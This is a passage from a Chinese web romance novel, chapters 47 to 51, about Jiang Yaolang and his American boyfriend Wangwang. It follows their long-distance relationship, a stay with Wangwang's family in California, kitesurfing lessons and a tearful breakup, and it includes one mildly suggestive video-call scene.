“我知道的,天使,你一直都很有原则。”
江瑶浪满意点头,翻出下一张。
第八幅的画面有点抽象,象征着金钱和权势的世界在崩塌,而他们在一片净土般的小小海洋里相拥。
这幅画的介绍语是:我是物质上的穷光蛋,只有你属于我。
江瑶浪回忆了一下时间线,为望望解释:“这个时候,单承言被他爸爸停卡了。”
“他没有钱了,所以害怕没办法继续留住我。”
“你看啊,他一直都觉得,我是因为钱才同意这段关系的,所以在一起后他总是给我送很多名贵的东西,最多的是珠宝。”
“他甚至,还要送我一辆限量车。”江瑶浪轻叹,“他总是给我,我所不需要的东西。”
“他从来没尝试了解我,只是一味地给我,他觉得我会喜欢的东西。”
“他的窘迫和焦躁我都看在眼里,”江瑶浪说,“我不心疼他,但我想保住他的骄傲。”
“所以我止住了他用Sweety这个身份接单赚钱的举动,然后联系上他的爸爸,他的爸爸答应过我,在我希望的时候,他会让单承言消失在我的眼前。”
江瑶浪歪头蹭蹭望望:“我们的故事,就这样结束了。”
“当然,只是我单方面认为的结束。”
江瑶浪看向最后的一幅画。
第九幅画的场景,是他们携手走在香格里拉,而单承言正为他戴上彩色的民族风编织帽子。
这幅画的介绍语是:找寻途中,我在你身旁,为你戴上帽子。
“小清高考后,学长带我们去云南旅游,现在看来,他好像一直在跟着我们。”
江瑶浪回忆起生日时的烟花,与高反时出现的帽子和糖果。
“二十三岁的生日是在大理过的,那晚有一场很精彩的烟花演出,直到今天,我才知道,原来是他为我放的。”
“生日过后,我们去了丽江,很不幸,我高反了,”江瑶浪摸着画面中的彩色帽子,“睡醒后,我的床边出现了这顶帽子,和烟花一样,我当时也不知道是谁送的。”
“当时觉得挺好看,而且我也用得上,就一直戴着。”
江瑶浪笑笑:“如果当时的我知道,我不会看完那场烟花,也不会戴上这顶帽子。”
“我和他,早就应该结束了。”
说完这句话后,江瑶浪把平板丢开,转身面对着望望。
他心有不安,眼神迟疑地看着望望,问:“小老外,现在你知道我和他的过去了。”
“你会不会觉得,”江瑶浪深吸一口气,伸手盖住望望的眼睛,“会不会觉得,我有点廉价?”
“天使,你在说什么?”
望望只觉得自己的心快要被这句话撕碎,他的心又痛又重,直直坠落,没办法继续跳动,呼吸和时间都停止在这一刻。
只有眼泪在不受控地疯狂涌出,在洇湿了江瑶浪颤抖的手心后,又洇湿了江瑶浪迷茫的脸。
“天使,你到底在说什么?”望望哭着问。
望望取下江瑶浪盖住自己双眼的手,与他十指相扣。
他的蓝眼睛是一片汪洋的海,包容而温柔,泪光起伏,释出无尽疼惜。
“你为什么会为一个不重要的人而伤害自己?为什么要如此残忍地对待我?”
“江瑶浪,我的天使,没有人,这个世界上没有任何人。”
“比你更值得我去爱。”
48.第 48 章
正如望望所言,跳伞是会上瘾的。
在结束厦门的双人游后,江瑶浪决定带着望望把国内的跳伞基地都去一遍。
两人不忙的时候,他们还会留在那座城市玩几天,然后把有意思的经历记录在旅行手账里,就这么跳跳玩玩写写,不到两年,他们成功挑战了所有的跳伞点,填满了三本旅行手账,望望给江瑶浪做的木头小鲸鱼也积满了一个不算小的鱼缸。
在江瑶浪二十五岁这一年,望望再次被导师催促,催促他赶紧回美国。
望望不想回去,他觉得留在中国,留在江瑶浪身边就很好。
对此,江瑶浪伸手扯着望望的脸,批评他:“小老外,本来项目完成后,你就该走了,你的老师体谅你是个恋爱脑,允许你拖延了半年。”
可能是觉得单手扯不过瘾,江瑶浪把另一只手也用上,双手把望望的脸扯宽:“谈恋爱不能当饭吃!知道吗,小老外。”
望望被扯着脸,口齿不清地说:“可以当饭吃的,有情饮水饱。”
江瑶浪见他顽强抵抗,冷笑:“你爱喝自己喝个够,我才不要跟着你喝水饱。”
“天使,我不想离开你。”望望的眼里透着祈求,“我真的不可以不走吗?”
男朋友在示弱,江瑶浪又怎么能不心软。
他松开扯脸的手,转而给望望揉脸:“望望,男朋友,理性点好不好?”
“只是异国而已,我们不是分手。”江瑶浪试图讲道理,“你不能因为一时的任性,就把你的家人、你的学业,还有你的老师对你的期望全部弃之不顾。”
“回到美国以后,你的消息我会很及时地回复,你可以随时给我弹语音弹视频,我都会接。”江瑶浪又说,“我也会每天向你分享我的生活。”
“你这样子,是在不相信你自己,还是不相信我呢?”
望望被他揉面团一样的手法揉得没脾气,但他还在争取:“我在中国也可以找到很好的工作的,我可以把天使养好的。”
闻言,江瑶浪不揉了,他只是沉默地和望望对视。
半响,江瑶浪问:“那你的家人呢?你的老师呢?你真的可以不在意他们吗?”
望望的回答脱口欲出,又被江瑶浪捂嘴的动作止住。
“望望,不要冲动。”江瑶浪说话时的语气和目光都很认真,“我不希望,等你长大几岁后,在想起当下的决定时会感到后悔,我更不希望你会因为现在的冲动而反过来怨恨我。”
“我知道你现在肯定会说不会,但,”江瑶浪叹气,“未来的事情谁说得准呢?”
“望望,”江瑶浪松开捂嘴的手,凑上前亲他,“你要对你自己有信心。”
“也要对我有信心,不要为了我,放弃你的前途。”
“好吗?”
最后,望望委委屈屈地选择接受,他紧紧抱着江瑶浪亲了又亲,满脸不舍。
“天使,我不想离开你。”
江瑶浪回抱他,同样抱得很紧:“男朋友,我也不想和你分开。”
“但恋爱不是人生的全部,我们都不能这么自私。”
*
分别的那一天来得很快,江瑶浪把望望送到了机场。
望望拖着行李箱,一步三回头,回头后又走回了江瑶浪的身边。
就这么来来回回折返了数次,终于把江瑶浪的耐心磨没了。
他又扯着望望的脸:“望望博士,支棱起来好吗!”
望望一脚踢开行李箱,软倒在江瑶浪身上,气若游丝:“一想到要和你分开,我就硬不起来了……”
“真的假的?”江瑶浪的眼里透着嫌弃,他贴近望望摇腰轻蹭,然后很快收到炙热的反馈。
江瑶浪拍拍望望的脸,说:“试过了,没事儿呢。”
“天使,我不是说这个硬……”望望哭笑不得。
“我知道啊。”江瑶浪摸摸望望的头,“江老师见多识广,我说这两种硬是一样的,那就是一样的。”
“好耍赖啊,天使。”
江瑶浪哼笑:“总之,这个博士你不想读也得读。”
“唉。”望望叹气,“我已经开始想你了。”
“我也开始想你了。”江瑶浪也叹气,“再给你抱十分钟,十分钟后你就走。”
“十个小时也抱不够的……”
江瑶浪才不惯着他:“不抱算了,我先走了,你一个人在这里耗着吧。”
“好狠心啊,天使。”望望把头埋进他的发间,不停深嗅。
江瑶浪被他的呼吸弄得很痒,忍不住笑了起来:“小老外,顶级过肺是吧?”
“嗯,要把天使的味道狠狠记牢。”
“那要不要我剪一段头发给你啊?”江瑶浪真心发问。
望望却舍不得,他摸着江瑶浪的长发:“算啦,真给我了你又得心疼,一想到你会心疼,我就感觉自己快死了。”
江瑶浪没回话,只是一味地纵容他在自己身上赖了好多个十分钟。
直到催促登机的广播响起,江瑶浪才把望望从自己身上推起来,看着他:“男朋友,你真的该走了。”
刚站起来的望望又把江瑶浪拉过来亲了又亲,把他的脸亲红,亲烫。
最后,他说:“天使,你先走吧。”
“你在这里,我真的没办法离开。”
他细致地把江瑶浪的卷发打理柔顺,给他夹上新做的木头小鲸鱼发夹,然后他带着江瑶浪转了个身,把他往前推了推:“让我看着你走吧。”
闻言,江瑶浪反手抓住了望望的左手,他用手指往望望的手心里画了个爱心,他把那只多了颗心的手合起。
然后,头也没回地大步往前走。
直到走离了机场,江瑶浪才委屈地皱起脸。
但他没哭。
*
面对望望的离开,说不难过,那是假的。
说很快能习惯,那也是假的。
他们对彼此的思念日益加深,直接反馈在暴增的聊天消息与通话上。
最后还是望望心疼江瑶浪不分昼夜地顶着时差和他聊天,和他约定好了每天的聊天时间。
望望难得理智的举动让江瑶浪感到一丝欣慰,然后他很快就看到了离开不过半个月的男朋友,在他的家门外按响了门铃。
这次的望望连行李箱都没有带,只背了个没装满的背包,在江瑶浪打开门的瞬间,他就冲上前抱住他的天使,又摸又亲。
“好想你,天使,离开你的这段时间,我活得好艰难。”把江瑶浪抱进怀里后,望望发出满足的谓叹。
男朋友突然出现在眼前,江瑶浪又惊又喜。
“你怎么就回来了?”他问。
望望有点自豪,说:“我有几天假期呢!”
江
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瑶浪却察觉到了不对劲,追问:“几天是几天?”
望望没说话。
“或者我换个问法,你能留多久?”
望望闷闷不乐地开口:“一天。”
闻言,江瑶浪心疼地摸上他家小老外的脸,嗔怒:“你傻不傻呀?就这么点时间还来回折腾。”
“可是。”望望亲亲江瑶浪,“我不回来的话,我们连这一天都没有呀。”
“天使,我太想你了。”
“我也很想你。”江瑶浪轻叹,又问,“你饿不饿啊?”
望望摇头:“我在机场吃过了。”
于是,江瑶浪把望望推进浴室,他们洗了个很久的澡,然后双双倒在床上,相拥而眠。
“睡觉吧,小老外,你肯定累了。”江瑶浪给两人盖上被子,窝进了望望的怀里。
“嗯。”怀里有一个暖呼呼的江瑶浪,这让望望感到无比安心。
没过多久,他就睡沉了,江瑶浪被他的睡意感染,很快也睡熟过去。
这一天,他们就窝在家里,什么正事都没干,只是黏黏糊糊地贴来又贴去。
日升日落,江瑶浪又把望望送去了机场。
分别前,江瑶浪戳着望望的眉心,严厉警告:“不可以总是跑回来的,知道吗?”
“我忍不住,怎么办啊,天使。”
残酷的天使很绝情:“忍不住也得忍,这一次见面后,起码两个月之内别让我看到你。”
望望试图讨价还价:“一个月可以吗?”
江瑶浪瞪大了眼睛拒绝他:“除非你每个月都能有超过十天的,连续假期。”
对此,望望表示:“天使,我好没用,我没有这么多假期。”
江瑶浪笑出声:“那你就老老实实读你的博士,做你的项目。”
“说不定,”江瑶浪给他留了一个期待,“哪天你就能看到我在等你下课了呢。”
“没用的小老外,别忘了我可是有条件连续休息十天的。”
望望怎么可能不知道江瑶浪要为这十天假期付出什么,他果断摇摇头,没答应。
江瑶浪晃晃两人相牵的手:“男朋友,我们是在谈恋爱,不能只有一个人在付出的。”
最终,望望选择:“天使,那我们说好了,最晚最晚,两个月内我会回来见你的。”
江瑶浪主动倒在了他的怀里:“嗯,我也会挑着不忙的时候来见你的。”
望望又埋进江瑶浪的发间深嗅:“唉,舍不得。”
“退一步说,人真的不能学会瞬移吗?或者发明空间折叠机器……”望望已经放弃求助科学。
江瑶浪笑笑:“那你努努力造出来呗。”
“唉。”望望叹气,“专业不对口,我就是个摆弄花草的。”
“太自谦了吧。”江瑶浪哼哼。
“想你,不想走。”
江瑶浪从他的怀里退出来,用力拍了拍他的脸,为他打气:“望望博士,加油啊。”
受到鼓励的望望很快振作起来,他说:“天使,我会很努力,很快回来的。”
“好啊,我等你。”江瑶浪笑得很甜,向望望承诺。
“那,”望望又让江瑶浪背向他,“天使,这次还是你先走。”
江瑶浪点点头,再次拉过他的手给他画了颗心。
然后依旧大步地往前走,没有回头。
49.第 49 章
一个人跳舞是很没意思的。
所以,望望回美国后,江瑶浪就在家附近的舞室办了张卡。
他也不挑,只要是觉得好看的就会去跳,跳着跳着,意外学会了不少女团舞。
这天,江瑶浪跳完舞回到家,门口堆了好几个快递,他全部抱了进门,盘腿坐在地面开拆。
大部分都是日用品,还有一两个是江瑶浪觉得有趣的小玩意儿,拆出来后他就随手一放,当作摆件调剂心情。
最后的一件快递,是一条很短很辣的紫色牛仔短裙。
江瑶浪伸手勾起那条短裙,让它在自己的眼前转了两圈,随后,江瑶浪似笑非笑地哼笑一声,用剪刀剪去了吊牌。
时间还早,他先去洗了个澡,从浴室出来后,他丢开浴巾捞起睡衣就往身上套,但穿到一半的时候,他又想起那条短裙。
于是他把睡衣脱掉,打开衣柜,改拿了件望望的短袖。
望望的衣服穿在他的身上还是偏大,衣袖垂过手肘,衣摆能把屁股完整盖住。
然后,江瑶浪把短裙穿上了。
裙子本来就短,再加上江瑶浪身高腿长的,穿上身后几乎要消失在望望宽松的短袖里。
穿都穿了,江瑶浪也没感到羞耻,反而走到镜子前,大大方方地提高上衣,好好打量起自己难得女装的样子。
要不是实在有点暴露,他还真想拍些照片纪念一下。
看到镜中的自己,江瑶浪忍不住溢出浅笑,他笑得有点得意,还有点坏。
望望的视频请求准时而来,江瑶浪戴上一只耳机,同意了他的通话。
江瑶浪凑近镜头,在通话开始的瞬间先给望望一个美颜暴击。
画面那头的望望在车内,有点暗,光线不算很好。
江瑶浪扬起嘴角:“男朋友,没在家呢?”
无论与江瑶浪相处了多少个日夜,望望永远没办法淡然面对他的贴近。
他抬手松了松自己的领带,又把座椅调整了一下,让自己能更舒服地后躺。
“是的,天使,我正准备回家。”
“那你,车上还有没有干净的衣服啊?”江瑶浪放轻了声音,又黏又慢。
望望不明所以,发出迷茫的鼻音。
于是江瑶浪把手伸远,将镜头滑过自己的脸一路往下,让望望清晰看到他正在穿着他的衣服,然后他用手拉开衣摆,露出紫色的短裙边。
江瑶浪稳住手让视频画面定在短裙边,他的声音传进通话,传入望望的耳内。
他问:“望望,紫色是不是很有韵味啊?”
意识到江瑶浪在做什么,望望的脸瞬间涨红,结结巴巴地说:“怎、怎么就穿上了?”
“什么叫就穿上了?”江瑶浪不爽,让自己的脸重新进入画面,“别告诉我不是你买的。”
“是我买的,可是我没想到……”
“没想到我这么自觉就穿上了?”江瑶浪打断他的辩解,“那不然呢?还要你哄着我穿吗?”
“被你哄着穿,这种感觉更奇怪好吧。”江瑶浪想了想,说,“跟骗小孩儿一样。”
“是、是。”望望不住点头,还在心里松了口气。
江瑶浪却敏锐地察觉到他的情绪不对,再次凑近了镜头,仔细观察他的表情:“望望,你紧张什么啊?”
他一凑近,望望的脸就更红了,他单手半捂着脸,从指缝里看江瑶浪:“天使,我被你迷倒了。”
“哼。”江瑶浪勾唇,“花言巧语的小老外。”
“所以,”江瑶浪还记着他没回自己的问题呢,“紫色是不是很有韵味啊?”
“对,对。”望望还是捂着脸,疯狂点头。
江瑶浪可不满意他老在逃避,开口提出要求:“把手放下来啊,就这么不想看见我吗?”
闻言,望望把手指张开了点,透着变大了点的缝隙和江瑶浪对视:“天使,我一直在看着你呢。”
“行,你就捂着吧。”江瑶浪把手机放在支架上,垂眸看他,“你最好给我一直捂着。”
架好手机,江瑶浪就离开了画面去拿平板,他连上蓝牙音响,点击播放AOA的《短裙》。
音乐迅速在室内流淌,江瑶浪重新走回视频画面,也没管望望是什么反应,自己跟着节奏跳了起来。
江瑶浪其实挺喜欢这支舞的,在舞室学过后自己在家也偶尔会跳,也因为喜欢,现在的他可以完整地边唱边跳。
原版的编舞本就性感,江瑶浪还刻意对着镜头勾引,没取下的耳机很快传来望望似有似无的喘气声。
小老外还想克制。
意识到这一点,江瑶浪扭得更起劲,望望给他买的裙子侧边没有拉链,于是他高高撩起上衣,露出完整的细腰和半片胸,那一抹晃动的白让望望终于克制不住,急促地粗喘起来。
江瑶浪终于得意地笑了起来,但他气还没消,伸手拉过望望送他的特大号巴塞罗熊,在熊身上完成了椅子部分的舞蹈动作。
长腿放下来之前,他还挑衅地用脚背拍了拍熊脸。
这个动作后,江瑶浪如愿听到望望的闷哼和抽纸声。
他揪着熊耳丢回床,再次凑近镜头与没手捂脸的望望对视:“望望,我穿什么都光彩照人。”
“当然。”望望用力点头,头忙手忙,“我完全没办法把眼睛从天使身上移开。”
“所以,你买了就买了,紧张什么?”江瑶浪对男朋友的小癖好很包容,“我又不是不愿意穿。”
望望顿时语塞,老半天才说:“天使,你太宠我了。”
“我好爱你。”他呆愣愣地看着江瑶浪,再次重复,“我好爱你。”
江瑶浪隔空摸了摸他那双盛满爱意的眼:“换身衣服吧,男朋友。”
*
半夜,望望偷偷爬上了江瑶浪的床。
替代他拥住江瑶浪的巨熊被他无情地挤下床,望望动作轻柔地把江瑶浪圈进怀里。
但熊和人的触感明显是不一样的,江瑶浪很快被惊醒。
他迅速半撑身子,打开了床头灯,看到来人后,脸上的警惕变为不悦,江瑶浪一言不发,用目光谴责又偷跑回来的望望。
江瑶浪脸色糟糕,望望暗道不好,果断道歉:“对不起天使,我就是太想你了。”
江瑶浪已经数不清,这是望望第几次无视在两人在机场的约定,再次回国。
江瑶浪轻轻叹气,但他看着望望脸上疲倦的神色,只是关上灯,重新回到望望怀里对他说:“睡觉吧。”
望望本就疲惫,得到江瑶浪的原谅后,他心下一松,不到半分钟就睡沉了。
望望的呼吸声很重,江瑶浪用指尖抚上望望眼下的青黑,心脏传来阵阵细密的疼意,难以抑制,难以接受。
他们异国不过一年,竟会让他高精力的男朋友如此疲累。
江瑶浪毫无睡意,他开始反思自己是不是犯了错。
他们的感情一直很好,距离和
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时差都没有对他们的关系造成丝毫影响。
但为什么,会感觉到累呢?
望望很粘人,他其实也爱粘着望望,虽然定下两月一见,说好了让自己过去找他,但望望好像从来就没同意。
每当江瑶浪提出想过去找他的时候,望望就会露出心疼的神色,一边说着两个月的时间很快能过去,一边又疯狂压榨自己,挤出时间回国和他见面。
面对不遵守约定跑回来的男朋友,江瑶浪就算当时再生气,也会很快被心底强压许久的思念冲散。
所以,是因为他的纵容,才会让望望这么累。
但他又不够纵容,所以望望会因为偷跑回来而紧张。
紧张的原因不是裙子,而是我。
这个结论让江瑶浪感到心惊。
他意识到两人之间的相处方式出现了问题。
也许在很早的时候,这种相处方式就是错误的,但他不知道。
现在他知道了,现在的他不知所措。
江瑶浪不是一个喜欢逃避问题的人,但他和望望的感情,让他感到棘手。
他应该怎么解决这个困难呢?
二十六岁的江瑶浪问自己。
许久许久,苦思无解。
也许我真的被望望照顾得太好,所以我不想离开他。
江瑶浪闭上眼,在天亮前睡进望望的怀里。
让我再试一次吧,他暗下决定。
*
江瑶浪睁眼的时候,望望已经醒了,正撑着头,目不转睛地看着他。
“早上好,天使。”
江瑶浪不喜欢在没洗漱的时候就接吻,所以望望只是凑近亲他的嘴角。
“早上好。”江瑶浪贴贴他,问,“什么时候醒的?”
“有一会儿啦。”
“唔。”江瑶浪不习惯赖床,他坐起身,“走吧,刷牙去。”
一下床,他就看到委委屈屈躺在地面的熊,江瑶浪失笑,走过去把熊抱起放回床上。
他对望望说:“干嘛呢,它犯什么错了只能睡地板?”
望望理直气壮:“正主都回来了,它当然要自觉挪位置啊。”
江瑶浪拍拍熊头:“它可比你乖多了,起码不会表面一套背后一套。”
“我没有……”望望底气不足,声音越说越低。
“哼,那你说,上一次我们见面是哪天。”
望望答得很快:“上个月二十六号。”
“那今天几号?”
望望不说话了,只是装死。
江瑶浪走近拍拍他的脸:“小老外,说好的两个月一见,现在也就不到一个月。”
“你说,你乖还是熊乖?”江瑶浪又开始算账,“还说准备开车回家呢,啊,原来是回的我家。”
“回天使的家怎么不算回家呢。”望望小声狡辩。
江瑶浪大度,懒得和他计较,径直走向浴室洗漱。
望望飞快地跟了进去,自觉帮江瑶浪接水挤牙膏。
待江瑶浪擦干脸后,望望眼巴巴地凑过去讨要亲吻。
江瑶浪顺从地启唇,接纳了望望急着交缠的舌。
深吻过后,江瑶浪抬眼看望望,对他说:“望望,带我回你家吧。”
望望还没反应过来,半张着嘴,江瑶浪抬手帮他合上,帮他确认心中所想。
江瑶浪轻笑,说:“带我去你家住一段时间吧,看看到底是什么地方,能养出你这么傻的人。”
50.第 50 章
望望是家里的独子。
非常难得的,他在成年后依然和爸妈住在一起,家里有一个漂亮的小花园,大部分的区域被他的妈妈用来种植蔬菜和香草。
他们的家庭聚会定在周末,缺席是特例,在大多数时候望望会开着他的皮卡,载上爸妈一起来到祖母家,参与聚会的人不多,但很温馨。
江瑶浪落地洛杉矶的隔日,他就被望望带去了他们的聚会。
望望应当是经常与家人提起他,因为他的家人能熟练地说出他的名字,甚至可以听得懂简单的中国话。
他们热情地接待了江瑶浪,担心江瑶浪不习惯这边的饮食,还精心制作了几道中国菜。
他们每个人都对江瑶浪很好,很好。
好像,江瑶浪本来就是这个家庭的一部分。
聚会结束后,皮卡由爸妈负责开走,江瑶浪则上了望望的摩托后座。
望望开得很慢,沿着海岸线把江瑶浪载回了家,摩托停在后院,他牵着江瑶浪走进小花园,为江瑶浪摘了个长势喜人的番茄,在清洗干净后递到他的嘴边。
江瑶浪就着他的手张嘴咬了一口,很甜很粉,溢出的汁水滑至望望腕间。
“好吃吗?”望望笑着问他。
江瑶浪点点头,又咬了一口,一边腮帮鼓鼓,非常可爱。
“我妈妈打理得可用心啦,我想吃的话还得偷偷摸摸摘。”望望轻描淡写地说出这些番茄在家庭中的地位。
“啊。”江瑶浪呆呆的,也不咀嚼了,“那给我吃了,没关系吗?”
“当然没关系。”望望拉着江瑶浪蹲在番茄旁,在藤架里翻出来一个小木牌,“天使,你看,妈妈她把这些番茄送给你啦。”
刻字的人非常认真,用标准的一笔一划刻上了清晰的中国字:小浪的番茄。
看清这五个字后,江瑶浪顿时觉得嘴里的番茄酸涩得要命,他忍下心中突然泛起的苦意,把番茄吞吃入肚。
未被嚼散的番茄块卡在江瑶浪的喉间,卡出了他的眼泪。
望望被吓了一跳,急忙用干净的手抹去江瑶浪的泪。
“天使,你怎么啦?”
江瑶浪很快止住泪,摇摇头说:“没事,就是太开心了。”
“有点,太激动了,忘记嘴里还含着东西。”
望望摸摸他的脸:“要小心一点呀。”
“嗯。”江瑶浪笑着点头。
*
望望带着江瑶浪来到了66号公路的尽头,他们卡着日落点坐上了落日飞车。
江瑶浪被轻柔地抛入蓝粉橘的半空,他笑着感受自由的风,高举着双手迎接浪漫的加州落日。
然后。
望望贴近他,将这轮即将沉入海平面的落日,轻轻地戴在他的指间。
紧圈右手无名指的戒指仿佛被黄昏浸透,温柔而闪耀,很漂亮。
江瑶浪的笑意难止,他合起自己的手掌,低头吻向日落色的帕帕拉恰。
江瑶浪选择收下这枚戒指,他看着望望:“男朋友,我们在热恋中。”
望望的神色比落日与宝石更温柔,他说:“天使,我们当然在热恋中。”
从过山车下来后,他们躺倒在沙滩上,什么话都没说,什么事都没做,沙子把他们弄得很脏,但他们只在意相牵的手。
眼前的一小片海被摩天轮染成荧蓝,冲浪的人还没回。
江瑶浪看着他们在浪里穿梭,心血来潮:“望望,教我冲浪吧。”
望望自然是很快答应下来,可他又想起另一项运动:“天使,你想在海上飞起来吗?”
“嗯?”
“要不要尝试一下风筝冲浪?”望望说。
江瑶浪扭过头看他,好奇地问:“那是什么?”
“操控风,让它带着你在海面滑行,然后高高跃起,实现飞翔。”望望一边描述,一边找出视频给江瑶浪看,“可能有点难,但,我会保护你。”
只是刷了几个视频,江瑶浪便已经心动不已。
他指着画面中正在进行半空转体的玩家,问:“这个动作,要多久才能学会啊?”
望望只扫了一眼就给出回答:“三个月左右吧。”
江瑶浪点点头,说:“那我要学。”
“好呀。”可望望皱了下眉,关心道,“但天使留在这里这么久,真的没关系吗?”
江瑶浪坐起身,看向岸边的浪。
海风轻柔地吹落发间的沙,他在浅笑着说:“没关系。”
*
望望的执行力很强,第二天就给江瑶浪配了一整套装备。
他把装备都摊在后院,逐个给江瑶浪介绍。
望望先是指着充气风筝:“这个就是能带天使飞起来的风筝,根据你的体重,我准备的是十二平米的风筝。”
“当然也有不用充气的风筝,”望望笑笑,“但我觉得打气也算是一种热身?”
“我拆出来给天使看看。”
望望将风筝从收纳包里取出,拿起打气筒,他把打气筒上的线勾在风筝的连接片上:“这个是用来固定风筝的,海边风大,不固定的话风筝就要飞走啦。”
然后他翻出风筝上的阀门:“大的是泄气阀,小的是充气阀。”
“打气前要先确认阀门和管口都干净无沙,都没问题后就可以对接打气了。”
望望边说边做,示范给江瑶浪看:“完成充气后,关闭阀门,然后锁死支气囊连接管。”
“就像这样。”望望用力摁下,连接管发出清脆的“咔擦”声。
江瑶浪边看边记,学得非常认真。
介绍完风筝,望望把手把递给江瑶浪,教他正确的用法:“手把是用来操控风筝的,向右掰,风筝就会向右转,手把回正,风筝就会慢慢落下。”
“但注意的是,手把只用来控制方向哦,用力拉风筝的不是你的手。”望望拿起腰钩给江瑶浪围上,并轻轻拍了拍他的腰,“拉住风筝的,是你的身体。”
“最后的一件装备,是双向板。”望望把手伸进板上的拖鞋里,“不需要固定,天使只用把脚放进这里,就是穿上啦。”
江瑶浪点点头,指着风筝线问:“那这个呢?不教教我吗?”
“要教的,但这个在海边学更快。”望望说,“因为得判断风向嘛。”
闻言,江瑶浪跃跃欲试,双眼亮晶晶地看着望望。
望望失笑:“今天还不能去海边啦。”
因为真正上手前,江瑶浪还得学点理论。
他托腮看向画着风窗原理示意图的望望,笑出了声:“好神奇啊,明明重逢的时候,我是你的老师。”
望望停下画图的手,亲亲江瑶浪,哄得很熟练:“你一直都是啊。”
“教我谈恋爱的江老师。”
江瑶浪哼了一声:“就你会说话。”
“嗯。”望望又亲上江瑶浪的唇,尾音消失在两人的吻里。
*
望望教得耐心又详细,但江瑶浪还是会不可避免地犯新手错误。
他再一次扑进海里,尽管望望很快把他捞
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起,可他依旧被迫咽下半口海水。
江瑶浪皱着眉吐着舌头:“要喝海水喝吐了……”
望望给他喂了颗橙子糖,搓搓小脸:“不如休息一下吧?”
江瑶浪果断摇头:“不累,还能练。”
他回忆起刚刚的错处,然后再一次尝试,望望依旧寸步不离地跟在他身边,时刻准备着保护他。
他们的生活当然不止风筝冲浪。
江瑶浪会去望望的学校等他下课,两人会逛校园,望望会把他介绍给自己的老师同学,会带他去看正在施工的、望望为之努力的项目。
他们会守着“小浪的番茄”,在成熟的下一刻便被两人摘下分食。
当然,江瑶浪也不是只会吃,可能中国人天生就带点种地天赋,江瑶浪帮着望望妈妈打理花园,竟意外地越养越好,望望妈妈非常开心,又做了一个小木牌,并将它挂在了黄瓜藤上。
于是,“小浪的番茄”多了个名为“小浪的黄瓜”的伴儿,江瑶浪与望望蹲守分食的蔬菜便又多了一种。
在每周的家庭聚会上,江瑶浪会主动提出做几道中餐,他做饭很好吃,又正宗,理所当然地得到了所有人的一致好评,每次都是光盘。
江瑶浪也逐渐习惯了“甜心宝贝”这个由望望妈妈叫出的亲密称呼,他已经成功地从最开始的面红耳赤,进化为如今的微笑坦然。
只是偶尔也会扯着望望的脸埋怨他:“都怪你喊我天使,喊得这么肉麻。”
望望被捏着,但很开心:“可是天使就是天使啊。”
在江瑶浪能够熟练完成剪刀腿这个动作的当天,他问了望望一个问题。
当时他们正在收拾装备,江瑶浪也问得随意:“望望,你有没有想过以后啊?”
“嗯?”
“就是你毕业了以后,打算怎么办?”
望望的回答紧贴这句话被说出的下一秒:“当然是去中国呀。”
江瑶浪收拾的动作没停:“那你的爸妈和祖母呢?他们也要一起来吗?”
“应该不吧。”望望想了想,“他们肯定会来中国旅游,但不会久居。”
“这样啊。”江瑶浪点点头,没有再问。
江瑶浪的情绪隐藏得很好,望望没有发现异常,只当他是随口一问。
归家的途中,回想起这一个月的学习过程,江瑶浪有点感叹:“哎,没想到风筝冲浪还真的挺难的。”
“天使已经很厉害啦。”望望夸他,“这项运动上手难度就是很大。”
“不过真的很有意思。”江瑶浪撑着头,“好想快点体验飞起来的感觉。”
“说起来。”望望想起曾经听说过的见闻,“我们平时练习的那片海,好像会有鲸鱼哦。”
“虽然我没有遇到过啦,但是听说有人见过。”
“真的吗!”江瑶浪很感兴趣,“真的会有鲸鱼吗?”
望望点点头:“可能吧?所以我觉得,说不定哪天我们也能幸运地看到。”
“那我要更努力点,往更外的海域去。”
“天使总是幸运的。”望望说,“我也会紧紧跟在天使身后。”
江瑶浪只是笑,没回话。
*
望望的判断很准确,江瑶浪成功掌握向后转体这个动作,是在三个月后。
不到一百天的时间,呛进数不清的海水,受过伤,失败又站起来无数次。
还有许多花式的动作在等着他挑战,但江瑶浪觉得。
就到这里吧,该结束在这里了。
51.第 51 章
看清涂美仪新发的朋友圈内容时,他们正往格里菲斯天文台走。
江瑶浪瞬间止住脚步,将手从望望的手心里抽离。
他闭上眼,给了自己一点时间平复情绪,然后点开了江瑶清的对话框。
编辑好的内容被发出,江瑶清的回复来得很快。
他没有和妹妹再聊,只是关闭手机,对等着他的望望说:“走吧。”
望望关心他:“天使,发生什么事情了吗?你的脸色不太好。”
江瑶浪扯出一抹浅笑,摇摇头:“没事。”
观景台人多,他们也没有赶上落日,只是在星光点亮城市的时刻,他们默契地相视一笑。
上山的土路人来人往,他们却同时哼起歌,在璀璨的夜景里跳起踢踏舞。
他们都不算熟悉这支舞,有点笨拙,但没有人会在意他们跳错,因为他们会及时地转圈相拥。
他们贴近又分开,分开又贴近,真诚而浪漫。
掌声和欢呼响起,江瑶浪大笑着拉起望望的手,带他往山顶跑。
他们又一次逃开人群,来到无人之处,望望把他抱起:“天使,我们在享受这片别致的天空,对吗?”
江瑶浪被望望抱入这片良辰美景,他没有点头,只是在笑。
可他的笑只持续了很短暂的时间,他开始愣愣地看向眼前的望望。
他们贴得好近,他们正在热恋中,右手指间的戒指落着今晚最亮的星星。
然后。
江瑶浪的眉皱得好紧,嘴唇死死抿着,整张脸失了血色,变得好难看。
他好悲伤,他的泪开始滚落,好烫好烫,烫空了望望的心。
“天使,别吓我,别吓我,你怎么了?为什么会这么难过?”
望望心急如焚,手足无措,却只能徒劳地替他擦去流不尽的泪。
“望望,”江瑶浪哭着,抚着望望的头对他表白,“我爱你。”
“我知道,天使,我一直都知道。”望望的眼睛红得很厉害,他不住点头,疯狂重复着强调。
他的语气悲凉,他在向江瑶浪乞求:“天使,不要这么对我。”
愧疚和不舍瞬间淹没江瑶浪,他快要溺亡其中。
但江瑶浪没有心软,坚持说出:“分开后我依然爱你。”
“对不起,望望,我伤害了你。”
“我没办法,我真的没办法。”
“我真的努力过的,可小玲姐受伤住院,一个月,整整一个月。”
“她们都瞒着我,都不告诉我,让我在她出院的今天才知道。”
“我不能留下来。”江瑶浪悲哀又决绝,哽咽着,“我也不能这么自私地把你从家人身边带走。”
“他们都太好了,望望。”
“我们不能这么自私。”
“对不起。”江瑶浪看向自己哀痛的恋人,“对不起望望,我选择了伤害你。”
望望安安静静地听他说完,再次伸手擦去江瑶浪脸上的泪。
“对不起天使,我给你带来压力了。”虽然艰难,但望望还是笑了起来,“没有关系的,都没有关系的。”
“只要你能开心。”
